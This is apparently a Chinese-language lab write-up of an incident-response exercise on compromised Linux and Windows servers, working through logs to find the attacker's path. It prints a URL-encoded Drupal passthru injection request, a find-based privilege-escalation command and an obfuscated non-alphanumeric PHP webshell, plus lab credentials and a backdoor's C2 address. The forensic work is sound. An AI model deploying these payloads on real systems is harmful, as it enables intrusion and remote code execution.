实验目的：
对遭受网络攻击的服务器进行排查分析，找出黑客的攻击路径和破坏行为。
实验内容：
1、对Linux服务器开展网络安全事件应急响应
2、对Windows服务器开展网络安全事件应急响应
实验环境：
- 应急响应服务器1：Linux虚拟机
- 应急响应服务器2：Windows虚拟机
实验步骤：
Linux服务器应急响应：
1.查看攻击者的两个内网IP地址
1.1查看/var/log/httpd 的web漏洞日志，发现在数据中有请求异常的包，然后进行url解密
Cat access_log-20241018 | tail -n -500 | head -n 10 (从500行往下面开始阅读十行)
1.2进行url解密
1.3可以看出是使用是反弹shell, 接受IP地址是192.168.21.102
1.4 攻击内网IP地址是192.168.21.137,192.168.21.102
2.网站管理员用户的用户名与密码
2.1我们查看www的数据库设置的密码，进入cat /var/www/html/sites/default/settings.php
查看mysql到账号是root ,密码是worldskills
2.2登录MySQL查看网站的worldskills_db库查看密码
Show database;
Use worldskills_db 查看所有表单
Select * from users
查看name.pass,对面进行john解密
浏览器登录网站
登录成功所以管理员账号是admin,密码是1111
3.提交黑客得到mysql服务的root账号密码的时间（格式：dd/MM/yyyy:hh:mm:ss）
3.1先去看看apache日志
POST /?q=user%2F1%2Fcancel&destination=user%2F1%2Fcancel%3Fq%5B%2523post_render%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B%2523markup%5D%3Dcat+%60printf+L3Zhci93d3cvaHRtbC9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocAo%3D%7Cbase64+-d%60 HTTP/1.1
对它们进行url解密
然后把printf +后面的字符进行base64解密
得到了一个路径，然后去查看
存在网站的数据库账号和密码
所以获取时间是：30/Jun/2020:04:09:12
4.查找黑客在WEB应用文件中写入的恶意代码，提交文件绝对路径
在 /var/log/httpd/access_log路径查看
在access_log585行查看到恶意流包
进行url解密查看内容
url解码发现写入了特殊的webshell到var/www/html/cron.php里面
所以恶意代码路径写到了/var/www/html/cron.php
5.查找黑客在WEB应用文件中写入的恶意代码，提交代码的最简形式（格式：）
写入的代码是php如下:
'>'<')+('>'>'<');\$_=\$__/\$__;\$____='';\$___='瞰';\$____.=~(\$___{\$_});\$___='和';\$____.=~(\$___{\$__});\$___='和';\$____.=~(\$___{\$__});\$___='的';\$____.=~(\$___{\$_});\$___='半';\$____.=~(\$___{\$_});\$___='始';\$____.=~(\$___{\$__});\$_____='_';\$___='俯';\$_____.=~(\$___{\$__});\$___='瞰';\$_____.=~(\$___{\$__});\$___='次';\$_____.=~(\$___{\$_});\$___='站';\$_____.=~(\$___{\$_});\$_=\$\$_____;\$____(\$_[\$__]);?>运用php5特性，简化后代码为：
根据一些不包含数字和字母的webshell | 离别歌来分析
6.分析攻击者的提权手法，提交攻击者通过哪一个指令成功提权
我们查看再去查看日志分析/var/log/httpd/access_log（apache日志文件）
在603查看到
请求了
?q=user%2F1%2Fcancel&destination=user%2F1%2Fcancel%3Fq%5B%2523post_render%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B%2523markup%5D%3D%2Fusr%2Fbin%2Ffind+index.php+-exec+%60echo+%27d2hvYW1pCg%3D%3D%27%7Cbase64+-d%60+%5C%3B HTTP/1.1
进行url解密
使用/usr/bin/find+index.php+-exec+echo+'d2hvYW1pCg=='|base64+-d+;
对base64解密:d2hvYW1pCg 得到 whoami
结合591行：
url解密
Url解密发现使用了find+/+perm+-u>/dev/null
所以确定是通过find命令的suid权限进行提权的，系统中也证实了这一点
所以使用提权方法是:find
7.服务器内与动态恶意程序相关的三个文件绝对路径
7.1查看服务器进程 ps -ef
自动开开启去查看自动开启服务
发现运行了/etc/sshd/sshd里面的文件，去查看一下
发现代码运行了 定期运行了 /dev/null 里面的恶意代码
三个绝对路径:
/usr/lib/systemd/system/ssh.service(自启定时维持脚本服务)
/etc/sshd/sshd(定时维持脚本)
/bin/sshd(恶意程序)
8.提交与恶意程序通信的ip地址
如何查看，先查看虚拟机使用的网络模式
我们查看vment8的网络连接
连接ip是:47.113.101.105
Windows服务器应急响应
黑客通过什么方式拿到服务器权限?
打开window的事件查看器
点击windows日志>>查看
查看日志发现有大量的登录失败，以及黑客成功登录的日志
成功登录
使用了rpd爆破
2.2黑客首次成功登录的时间是什么？（如12:01）
即时间是:16:47
2.3黑客添加了用户名是什么？（如abcd）
添加了hacker,去控制面板>>用户账户>>管理账户
即添加了hacker$
2.4请指出黑客在服务器上下载的文件名称
打开IE浏览器，然后查看下载
发现下载了一个door的运行软件
答案：door
2.5黑客将下载的木马重命名了木马名字是什么
点击查看
看到把door改成notepad.exe
即答案是:notepad.exe
2.6请指出黑客下载后门木马所监听的端口
通过任务计划程序查看是否有启动计划
使用netstat -anob 查看软件的运行端口
查看pid 2412查看文件位置位置，打开任务管理器
查看pid 2412 查看文件运行的notepad.exe
所以该程序监听的端口是:4444